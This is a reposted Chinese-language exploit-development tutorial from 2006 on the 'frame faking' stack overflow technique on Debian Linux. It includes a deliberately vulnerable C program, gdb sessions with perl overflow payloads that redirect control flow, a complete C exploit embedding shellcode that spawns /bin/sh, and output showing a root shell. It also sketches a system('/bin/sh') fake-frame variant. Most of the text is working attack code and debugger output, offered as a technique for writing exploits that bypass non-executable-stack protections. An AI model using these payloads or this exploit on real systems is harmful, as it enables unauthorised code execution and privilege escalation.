博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Advanced Exploit Techique之--frame faking技术http://ntbgyz.com/articles/200602/851.html
阅读量:2400 次
发布时间:2019-05-10

本文共 20023 字,大约阅读时间需要 66 分钟。

Advanced Exploit Techique之--frame faking技术

                                        (PST)

---------[ Subject   : Advanced Exploit Techique之--frame faking技术       ]

---------[ Author    : axis()                              ]
---------[ Copyright :                       ]
---------[ Date      : 02/15/2006                                          ]
---------[ Version   : 1.0                                                 ]

 

|=-----------------------------------------------------------------------------=|

---------[ Table of Contents ]

  0x210 - 前言

  0x220 - frame faking原理分析
  0x230 - Having Fun with Fake Frame
  0x240 - frame faking拓展
  0x250 - Exploit Demo
  0x260 - Conclusion
  0x270 - Reference

|=-----------------------------------------------------------------------------=|

 

---------[ 0x210 - 前言 ]

  Frame Faking是针对栈的操作,伪造一个fake frame,改变程序流程,在新的栈桢里执行我们想要执行的指令。
  fake frame是非常灵活的,它可以放在任何你想放且可以放的地方,可以写任何你想写且可以写的东西。用来编写exploit里面,无疑又是另外一种绕过不可执行栈保护的方法。对于不检查返回地址是否改变的不可执行栈补丁,构造fake frame的方法可以轻易绕过。对于检查函数返回地址是否改变的不可执行栈补丁像execshield这种,可以参考我的另外一篇文章《Bypass Exec-shield Under Redhat》

  本文只讨论frame faking技术本身,不对绕过不可执行栈的技巧做具体说明,想进一步了解相关内容,可以参考我上面说的那篇文章。

  本文的平台是Debian Linux 3.1r0

id

uid=1000(axis) gid=1000(axis) groups=1000(axis),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev)

uname -a

Linux debian-security 2.4.27-2-386 #1 Wed Aug 17 09:33:35 UTC 2005 i686 GNU/Linux

cat /etc/issue.net

Debian GNU/Linux 3.1 %h

 

---------[ 0x220 - frame faking原理分析 ]

  我们知道,普通的buffer overflow的payload是这样写的

  +++++++++++++++

  | dummy | EIP |
  +++++++++++++++

  用dummy来填充缓冲区,直到覆盖了ebp,然后接下来再用指定的地址覆盖EIP,让程序跳转到我们指定的地址去执行。

  frame faking也是基于这个基本思想。在这之前,我们先来看一个例子

cat test.c

#include<stdio.h>

void test(char *a){

            char buf[256];
            strcpy(buf,a);
            printf("buf is: %s/n",buf);
}

void t(int n){

            n=0;
            n=n+1;
            printf("n is : %d/n",n);
}

int main(int argc,char *argv[]){

    int i;
    test(argv[1]);
    t(i);

    return 0;

}

gcc -o test test.c

./test AAAA

buf is: AAAA
n is : 1

正常情况下,函数test,t都会执行

gdb ./test -q

Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disass main
Dump of assembler code for function main:
0x0804841f <main+0>:    push   %ebp
0x08048420 <main+1>:    mov    %esp,%ebp
0x08048422 <main+3>:    sub    $0x8,%esp
0x08048425 <main+6>:    and    $0xfffffff0,%esp
0x08048428 <main+9>:    mov    $0x0,%eax
0x0804842d <main+14>:   sub    %eax,%esp
0x0804842f <main+16>:   mov    0xc(%ebp),%eax
0x08048432 <main+19>:   add    $0x4,%eax
0x08048435 <main+22>:   mov    (%eax),%eax
0x08048437 <main+24>:   mov    %eax,(%esp)
0x0804843a <main+27>:   call   0x80483c4 <test>
0x0804843f <main+32>:   mov    0xfffffffc(%ebp),%eax
0x08048442 <main+35>:   mov    %eax,(%esp)
0x08048445 <main+38>:   call   0x80483fa <t>
0x0804844a <main+43>:   mov    $0x0,%eax
0x0804844f <main+48>:   leave 
0x08048450 <main+49>:   ret   
0x08048451 <main+50>:   nop   
0x08048452 <main+51>:   nop   
... ...
End of assembler dump.
(gdb)

  反汇编main可以看到,首先

    push %ebp
    mov  %esp,%ebp

  而在main返回时,则是

    leave
    ret

  而leave指令事实则是执行了

    mov %ebp,%esp

    pop %ebp
  的操作,与main函数的开头刚好相反。

  事实上,在现在gcc的一般编译环境下,任何函数都是这样的一个过程。

  那么如果我们构造如下payload

  ++++++++++++++++++++++++++++++++++++++

  | dummy | fake EBP addr | leave addr |
  ++++++++++++++++++++++++++++++++++++++

  用dummy填充了buffer,然后用fake frame的EBP地址来填充 EBP,用leave指令的地址来填充EIP

这样程序就会马上去执行leave指令,当leave指令执行完后,ebp的内容就成了fake frame的ebp,eip就成了fake frame 的&(ebp)+4的内容

也就是以下的一个过程

   BUFFER        EBP          EIP

  ++++++++++++++++++++++++++++++++++++++
  | dummy | fake EBP addr | leave addr |
  ++++++++++++++++++++++++++++++++++++++
                   |            
                   ~~~~~~~~~~~~~~~~~~~|
                                      v
                    ++++++++++++++++++++++++++++++++++++
fake frame          | dummy new  | fake ebp | fake eip |
                    ++++++++++++++++++++++++++++++++++++
 
这样程序再执行的时候,就是在我们的fake frame里执行了,eip也变成了我们的fake eip
而fake frame一般是我们自己构造的,那么我们就可以在我们想要的地方,控制eip了,而不是像以前一样简单的覆盖EIP

如果程序本身将执行leave指令,那么我们甚至不需要用leave addr来覆盖EIP,而只需要覆盖到EBP,就可以完成我们的payload了!

---------[ 0x230 - Having Fun with Fake Frame ]
  我们来看点实际的东西,还是上面那个test程序
有漏洞的函数是test

(gdb) disass test        

Dump of assembler code for function test:
0x080483c4 <test+0>:    push   %ebp
0x080483c5 <test+1>:    mov    %esp,%ebp
0x080483c7 <test+3>:    sub    $0x118,%esp
0x080483cd <test+9>:    mov    0x8(%ebp),%eax
0x080483d0 <test+12>:   mov    %eax,0x4(%esp)
0x080483d4 <test+16>:   lea    0xfffffef8(%ebp),%eax
0x080483da <test+22>:   mov    %eax,(%esp)
0x080483dd <test+25>:   call   0x80482e8 <_init+72>
0x080483e2 <test+30>:   lea    0xfffffef8(%ebp),%eax
0x080483e8 <test+36>:   mov    %eax,0x4(%esp)
0x080483ec <test+40>:   movl   $0x8048574,(%esp)
0x080483f3 <test+47>:   call   0x80482d8 <_init+56>
0x080483f8 <test+52>:   leave 
0x080483f9 <test+53>:   ret   
End of assembler dump.

sub $0x118,%esp

减去dummy data后,应该用268字节来覆盖ebp

(gdb) r "`perl -e 'print "A"x268,"/x44/x43/x42/x41"'`"

Starting program: /home/axis/explab/fakeframe/test "`perl -e 'print "A"x268,"/x44/x43/x42/x41"'`"
buf is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADCBA

Program received signal SIGSEGV, Segmentation fault.

0x41424344 in ?? ()
(gdb)

dummy的大小已经确定了

0x080483f8 <test+52>:   leave    test函数的leave在0x080483f8 ,我们就用这个地址好了

我们先尝试一下跳转到buffer的最开始

gdb ./test -q

Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) b *test+52                            =========》在leave处下个断点 
Breakpoint 1 at 0x80483f8
(gdb) r "`perl -e 'print "A"x272'`"        
Starting program: /home/axis/explab/fakeframe/test "`perl -e 'print "A"x272'`"
buf is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, 0x080483f8 in test ()

(gdb) x/20x $esp                            =========》可以看到buffer的起点在0xbffff880
0xbffff870:     0x08048574      0xbffff880      0x4003130c      0xbffff8d0
0xbffff880:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff890:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff8a0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff8b0:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb)

可以看到&buffer在0xbffff880,而&buffer-4的内容是0xbffff8d0

现在,我们用我们的frame faking 的方法来看看

根据我们的payload,我们要让eip变成buffer最开始的0x41414141
那么,我们的fake ebp addr就应该是&buffer-4, 为0xbffff87c

(gdb) r "`perl -e 'print "A"x264,"/x7c/xf8/xff/xbf","/xf8/x83/x04/x08"'`" 

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/axis/explab/fakeframe/test "`perl -e 'print "A"x264,"/x7c/xf8/xff/xbf","/xf8/x83/x04/x08"'`"

buf is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|?盔

Breakpoint 1, 0x080483f8 in test ()                 =======》第一次执行leave

(gdb) c
Continuing.

Breakpoint 1, 0x080483f8 in test ()                 =======》第二次执行leave

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()
(gdb) i reg
eax            0x119    281
ecx            0x4014f2e0       1075114720
edx            0x119    281
ebx            0x40155880       1075140736
esp            0xbffff884       0xbffff884
ebp            0xbffff8d0       0xbffff8d0         ========》fake ebp
esi            0x40016540       1073833280
edi            0xbffff9f4       -1073743372
eip            0x41414141       0x41414141         ========》fake eip
eflags         0x246    582
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x0      0
(gdb) x/20x $esp
0xbffff884:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff894:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff8a4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff8b4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff8c4:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) x/20x $esp-16
0xbffff874:     0xbffff880      0x4003130c      0xbffff8d0      0x41414141
0xbffff884:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff894:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff8a4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff8b4:     0x41414141      0x41414141      0x41414141      0x41414141
(gdb) x/x 0xbffff87c
0xbffff87c:     0xbffff8d0
(gdb) x/x 0xbffff880
0xbffff880:     0x41414141
(gdb)

看,正如我们所构想的那样,程序流程跳转到我们想要的地方来执行了!

新的ebp是我们的fake ebp
新的eip是我们的fake eip

 

 

---------[ 0x240 - frame faking拓展 ]

根据上面的分析,我们可以灵活多变的来构造fake frame,有时候,会带来一些有趣的东西

我们构造如下payload

           |~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~|

           v                                                   |
     ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
     | ebp addr | leave addr | dummy to fill-up buffer | fake ebp addr | leave addr |
     ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
           |                                                   A
           |                                                   |
            ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

我们把buffer的最前面构造成fake frame,用原来的ebp地址做fake ebp,eip覆盖为leave的addr,那么就构成了两个fake frame之间的循环

按照payload执行如下

(gdb) r "`perl -e 'print "/x8c/xf9/xff/xbf","/xf8/x83/x04/x08","A"x256,"/x80/xf8/xff/xbf","/xf8/x83/x04/x08"'`"
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/axis/explab/fakeframe/test "`perl -e 'print "/x8c/xf9/xff/xbf","/xf8/x83/x04/x08","A"x256,"/x80/xf8/xff/xbf","/xf8/x83/x04/x08"'`"

buf is: 岡 緼AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA€?盔

Breakpoint 1, 0x080483f8 in test ()

(gdb) c
Continuing.

Breakpoint 1, 0x080483f8 in test ()

(gdb) x/20x $esp
0xbffff990:     0xbffffb00      0xbffff9f4      0xbffff9c8      0x4003be36
0xbffff9a0:     0x00000002      0xbffff9f4      0xbffffa00      0x08048300
0xbffff9b0:     0x00000000      0x4000bcd0      0x40156d74      0x40016ca0
0xbffff9c0:     0x00000002      0x08048300      0x00000000      0x08048321
0xbffff9d0:     0x0804841f      0x00000002      0xbffff9f4      0x08048460
(gdb) x/20x $esp-16                             =========》确定好我们的raw ebp的addr,在这里应该是0xbffff988
0xbffff980:     0x41414141      0x41414141      0xbffff880      0x080483f8
0xbffff990:     0xbffffb00      0xbffff9f4      0xbffff9c8      0x4003be36
0xbffff9a0:     0x00000002      0xbffff9f4      0xbffffa00      0x08048300
0xbffff9b0:     0x00000000      0x4000bcd0      0x40156d74      0x40016ca0
0xbffff9c0:     0x00000002      0x08048300      0x00000000      0x08048321

修正后重新开始

(gdb) r "`perl -e 'print "/x88/xf9/xff/xbf","/xf8/x83/x04/x08","A"x256,"/x80/xf8/xff/xbf","/xf8/x83/x04/x08"'`"

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/axis/explab/fakeframe/test "`perl -e 'print "/x88/xf9/xff/xbf","/xf8/x83/x04/x08","A"x256,"/x80/xf8/xff/xbf","/xf8/x83/x04/x08"'`"

buf is: ?緼AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA€?盔

Breakpoint 1, 0x080483f8 in test ()

(gdb) c
Continuing.

Breakpoint 1, 0x080483f8 in test ()

(gdb) c
Continuing.

Breakpoint 1, 0x080483f8 in test ()

(gdb) c
Continuing.

Breakpoint 1, 0x080483f8 in test ()

(gdb) c
Continuing.

Breakpoint 1, 0x080483f8 in test ()

(gdb) c
Continuing.

Breakpoint 1, 0x080483f8 in test ()

(gdb) c
Continuing.

Breakpoint 1, 0x080483f8 in test ()

(gdb) c
Continuing.

Breakpoint 1, 0x080483f8 in test ()

(gdb) c
Continuing.

Breakpoint 1, 0x080483f8 in test ()

(gdb)

看,test()函数永远都执行不完了!

选择不同函数的leave addr得到的结果也不一样
我们采用main函数的leave addr看看
(gdb) disass main
Dump of assembler code for function main:
0x0804841f <main+0>:    push   %ebp
0x08048420 <main+1>:    mov    %esp,%ebp
0x08048422 <main+3>:    sub    $0x8,%esp
0x08048425 <main+6>:    and    $0xfffffff0,%esp
0x08048428 <main+9>:    mov    $0x0,%eax
0x0804842d <main+14>:   sub    %eax,%esp
0x0804842f <main+16>:   mov    0xc(%ebp),%eax
0x08048432 <main+19>:   add    $0x4,%eax
0x08048435 <main+22>:   mov    (%eax),%eax
0x08048437 <main+24>:   mov    %eax,(%esp)
0x0804843a <main+27>:   call   0x80483c4 <test>
0x0804843f <main+32>:   mov    0xfffffffc(%ebp),%eax
0x08048442 <main+35>:   mov    %eax,(%esp)
0x08048445 <main+38>:   call   0x80483fa <t>
0x0804844a <main+43>:   mov    $0x0,%eax
0x0804844f <main+48>:   leave 
0x08048450 <main+49>:   ret   
0x08048451 <main+50>:   nop  

(gdb) b *0x0804844f

Breakpoint 2 at 0x804844f
(gdb) r "`perl -e 'print "/x88/xf9/xff/xbf","/xf8/x83/x04/x08","A"x256,"/x80/xf8/xff/xbf","/x4f/x84/x04/x08"'`"
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/axis/explab/fakeframe/test "`perl -e 'print "/x88/xf9/xff/xbf","/xf8/x83/x04/x08","A"x256,"/x80/xf8/xff/xbf","/x4f/x84/x04/x08"'`"

buf is: ?緼AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA€?縊

Breakpoint 1, 0x080483f8 in test ()
(gdb) c
Continuing.

Breakpoint 2, 0x0804844f in main ()

(gdb) c
Continuing.

Breakpoint 1, 0x080483f8 in test ()

(gdb) c
Continuing.

Breakpoint 2, 0x0804844f in main ()

(gdb) c
Continuing.

Breakpoint 1, 0x080483f8 in test ()

(gdb) c
Continuing.

Breakpoint 2, 0x0804844f in main ()

(gdb)

程序开始在test()函数和main()函数之间来回打转了!

我们可以看的更加细一些

(gdb) disass frame_dummy

Dump of assembler code for function frame_dummy:
0x08048390 <frame_dummy+0>:     push   %ebp
0x08048391 <frame_dummy+1>:     mov    %esp,%ebp
0x08048393 <frame_dummy+3>:     sub    $0x8,%esp
0x08048396 <frame_dummy+6>:     mov    0x8049674,%eax
0x0804839b <frame_dummy+11>:    test   %eax,%eax
0x0804839d <frame_dummy+13>:    je     0x80483c0 <frame_dummy+48>
0x0804839f <frame_dummy+15>:    mov    $0x0,%eax
0x080483a4 <frame_dummy+20>:    test   %eax,%eax
0x080483a6 <frame_dummy+22>:    je     0x80483c0 <frame_dummy+48>
0x080483a8 <frame_dummy+24>:    movl   $0x8049674,(%esp)
0x080483af <frame_dummy+31>:    call   0x0
0x080483b4 <frame_dummy+36>:    lea    0x0(%esi),%esi
0x080483ba <frame_dummy+42>:    lea    0x0(%edi),%edi
0x080483c0 <frame_dummy+48>:    mov    %ebp,%esp              ======》注意这里,实际上就是开始leave
0x080483c2 <frame_dummy+50>:    pop    %ebp
0x080483c3 <frame_dummy+51>:    ret   
End of assembler dump.
(gdb) b *0x080483c2
Breakpoint 3 at 0x80483c2
(gdb) b *0x080483c0
Breakpoint 4 at 0x80483c0
(gdb) r "`perl -e 'print "/x88/xf9/xff/xbf","/xf8/x83/x04/x08","A"x256,"/x80/xf8/xff/xbf","/xc2/x83/x04/x08"'`"   
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/axis/explab/fakeframe/test "`perl -e 'print "/x88/xf9/xff/xbf","/xf8/x83/x04/x08","A"x256,"/x80/xf8/xff/xbf","/xc2/x83/x04/x08"'`"

Breakpoint 4, 0x080483c0 in frame_dummy ()

(gdb) c
Continuing.

Breakpoint 3, 0x080483c2 in frame_dummy ()

(gdb) c
Continuing.
buf is: ?緼AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA€?柯

Breakpoint 1, 0x080483f8 in test ()

(gdb) c
Continuing.

Breakpoint 3, 0x080483c2 in frame_dummy ()

(gdb) c
Continuing.

Program received signal SIGILL, Illegal instruction.            ========>光是pop %ebp  是不行的

0xbffff9f4 in ?? ()
(gdb) r "`perl -e 'print "/x88/xf9/xff/xbf","/xf8/x83/x04/x08","A"x256,"/x80/xf8/xff/xbf","/xc0/x83/x04/x08"'`"
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/axis/explab/fakeframe/test "`perl -e 'print "/x88/xf9/xff/xbf","/xf8/x83/x04/x08","A"x256,"/x80/xf8/xff/xbf","/xc0/x83/x04/x08"'`"

Breakpoint 4, 0x080483c0 in frame_dummy ()

(gdb) c
Continuing.

Breakpoint 3, 0x080483c2 in frame_dummy ()

(gdb) c
Continuing.
buf is: ?緼AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA€?坷

Breakpoint 1, 0x080483f8 in test ()

(gdb) c
Continuing.

Breakpoint 4, 0x080483c0 in frame_dummy ()

(gdb) c
Continuing.

Breakpoint 3, 0x080483c2 in frame_dummy ()

(gdb) c
Continuing.

Breakpoint 1, 0x080483f8 in test ()

(gdb) c
Continuing.

Breakpoint 4, 0x080483c0 in frame_dummy ()

(gdb) c
Continuing.

Breakpoint 3, 0x080483c2 in frame_dummy ()

(gdb) c
Continuing.

Breakpoint 1, 0x080483f8 in test ()

(gdb) c
Continuing.

Breakpoint 4, 0x080483c0 in frame_dummy ()

(gdb) c
Continuing.

Breakpoint 3, 0x080483c2 in frame_dummy ()

(gdb) c
Continuing.

Breakpoint 1, 0x080483f8 in test ()

(gdb) c
Continuing.

Breakpoint 4, 0x080483c0 in frame_dummy ()

(gdb)

所以,我们payload需要的leave指令实际上是只要执行mov %ebp,%esp

通过构造fake frame,可以随心所欲的控制程序流程,你可以把一个函数执行了一遍又一遍,你就是上帝!

 

---------[ 0x250 - Exploit Demo ]

  终于到重点了。

  利用fake frame来获得系统控制权的方法实在是太灵活多样了,因为整个frame完全是你faking出来的,那么实际上就是欺骗程序让它来执行你指定的流程。

  比如,你可以把fake frame的eip设定为shellcode的地址,又或者把fake frame的eip设定为return into libc所需要的函数入口地址。

 
  怎样随心所欲就要看你的想象力和创造力了。

  比较复杂的一种方法就是构造个与原来的frame非常相似的fake frame

  比如,原来的函数里是原来的frame是    

 
    ++++++++++++++++++++++++++++++++++++++++++++
    | &printf | addr of AAAA |raw ebp |raw eip |
    ++++++++++++++++++++++++++++++++++++++++++++
 
  这里的raw eip应该是整个函数的ret 
  原本会执行 prinf("AAAA");的操作

  但如果构造了 fake frame,通过frame faking改变流程后

  构造的fake frame 如下

 
    +++++++++++++++++++++++++++++++++++++++++++++++
    | &system | addr of /bin/sh |raw ebp |raw eip |
    +++++++++++++++++++++++++++++++++++++++++++++++

  fake ebp和fake eip都和raw ebp,raw eip一样,而前面的函数则用system替换

  那么这个时候程序就会执行 system("/bin/sh");

  这种方法是要在整个frame里寻找一个“有用”的函数,来让我们顺利的构造fake frame

 
  具体请参考gotfault上的一篇文章《Function Stack Frame Manipulation》      

  这里我们简单演示下如果利用fake frame来写exploit

  我们的payload很简单

     &buffer(fake ebp)   (fake eip)   (&buffer+8)               (fake ebp addr)

    ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    | 4 bytes dummy   |  &buffer+8   |    NOPS    | shellcode |     &buffer     | leave addr |
    ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
          A                 |            A                             |
          |                 |            |                             |
          |                  ~~~~~~~~~~~~                              |
           ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~         

这里说个小插曲

   vangelis在他的paper《Stack-based Overflow Exploit: Introduction to Classical and Advanced Overflow Technique》里
提到的frame faking 时,构造的exp是错误的
   他的payload没错
  
    ------------------------------------------------------
    | data to overflow buffer  |  fake_ebp0  |  leaveret |
    ------------------------------------------------------

但在演示的时候,他直接把fake_ebp0用shellcode的地址替换了,这就不正确了

在他的paper中,他直接把EIP给覆盖成了shellcode地址,所以他演示成功了

但实际上,应该是用leaveret来覆盖EIP,fake_ebp0应该是fake_ebp1的地址

而fake_eip1才应该是shellcode的地址.

 

   回到本文上来.根据我们上面提出的payload,我们构造如下exploit
cat ex_framefaking.c
/*

fake frame demo exploit

coded by axis

use payload

| dummy | fake ebp0 | main's leave ret addr|

here is

| dummy 4 bytes to fake ebp | fake eip, addr of buf +8 to nops | NOPS | shellcode | fake ebp,here use addr of buf(overwrite the ebp) | vul's main()'s leave|

*/

#include<stdio.h>

 

char shellcode[]=

"/x55/x89/xe5/x55/x89/xe5/x83/xec/x28/xc6/x45/xd8/x2f/xc6/x45/xdc/x2f/xc6/x45/xd9/x5f/xc6/x45/xda/x5a/xc6/x45/xdb/x5f/xc6/x45/xdd/x5f/xc6/x45/xde/x5f/x83/x45/xd9/x03/x83/x45/xda/x0f/x83/x45/xdb/x0f/x83/x45/xdd/x14/x83/x45/xde/x09/x31/xc0/x89/x45/xdf/x89/x45/xf4/x8d/x45/xd8/x89/x45/xf0/x83/xec/x04/x8d/x45/xf0/x31/xd2/x89/xd3/x89/xc1/x8b/x45/xf0/x89/xc3/x31/xc0/x83/xc0/x0b/xcd/x80/x31/xc0/x40/xcd/x80";     //这段shellcode是teso的一段bind shellcode,100 bytes,放到这里大材小用了

int main(int argc,char *argv[]){

char buf[272];
char *args[]={"./test",buf,NULL};

memset(buf,0x90,sizeof(buf));

memcpy(buf+130,shellcode,100);

memcpy(buf+4,"/xdb/xfe/xff/xbf",4);   // buf + 8 's addr ===>nops

memcpy(buf+264,"/xd3/xfe/xff/xbf",4);   //buf's addr to overwrite the ebp

memcpy(buf+268,"/x4f/x84/x04/x08",4);   // main's leave addr

execve("./test",args,NULL);

return 0;

}

gcc -o ex_framefaking ex_framefaking.c

./ex_framefaking            E?覊訅翄E饓?纼

buf is: 悙悙埝 繍悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙E貕E饍悙悙悙悙悙悙悙悙蛝1繞蛝悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙誉 縊悙悙悙怳夊U夊冹(艵?艵?艵賍艵赯艵踎艵輄艵轤僂僂僂僂僂  1缐E邏E                                                                   @e@4 ?@
sh-2.05b# id
uid=1000(axis) gid=1000(axis) euid=0(root) groups=1000(axis),20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev)
sh-2.05b# uname -a
Linux debian-security 2.4.27-2-386 #1 Wed Aug 17 09:33:35 UTC 2005 i686 GNU/Linux
sh-2.05b# cat /etc/issue.net
Debian GNU/Linux 3.1 %h
sh-2.05b#

看!我们成功拿到rootshell了!

 

 

---------[ 0x260 - Conclusion ]
  frame faking是一种高级的exploit技术,形式非常灵活,是写exploit的强大武器,在很多不可执行栈保护的补丁下仍然有用武之地。更为灵活的利用方式,有赖于丰富的想象力和创造力。
 
  Thanks to all guys from ph4nt0m!

  Welcome to Ph4nt0m!

       

  Welcome to Secwiki!

       

 

 

---------[ 0x270 - Reference ]

  《Function Stack Frame Manipulation》    by   barros A.K.A Carlos Barros
       

  《The advanced return-into-lib(c) exploits》 by Nergal

       

   《绕过Pax内核补丁保护的方法浅析---高级的return-into-lib(c) exploits技术》   by alert7

       

 

转载地址:http://ornob.baihongyu.com/

你可能感兴趣的文章
Win2K无盘终端网组建全攻略(3)(转)
查看>>
让Windows2000飞起来(转)
查看>>
妙用Windows系统任务实现定时提醒(转)
查看>>
启用Win2k的多设备拨号功能(转)
查看>>
轻松将NTFS格式转换FAT32格式(转)
查看>>
在Win2000中妙用系统审核(转)
查看>>
Win2K无盘终端网组建全攻略(5)(转)
查看>>
WindowsXP救急小贴示(转)
查看>>
Win2K无盘终端网组建全攻略(4)(转)
查看>>
Win2K无盘终端网组建全攻略(2)(转)
查看>>
[灾难备份]拿什么拯救你我的金融数据(转)
查看>>
忘记XP登录口令后的应急办法(转)
查看>>
Win2K无盘终端网组建全攻略(1)(转)
查看>>
WIN2000/NT密码全攻略(转)
查看>>
XP命令行加密功能(转)
查看>>
轻轻松松更改NT超级用户密码 (转)
查看>>
给Win2000减减肥(转)
查看>>
Windows个性化之稀奇古怪三两式(转)
查看>>
nt的19个秘密武器(转)
查看>>
别让IE和Office泄露了你的秘密(转)
查看>>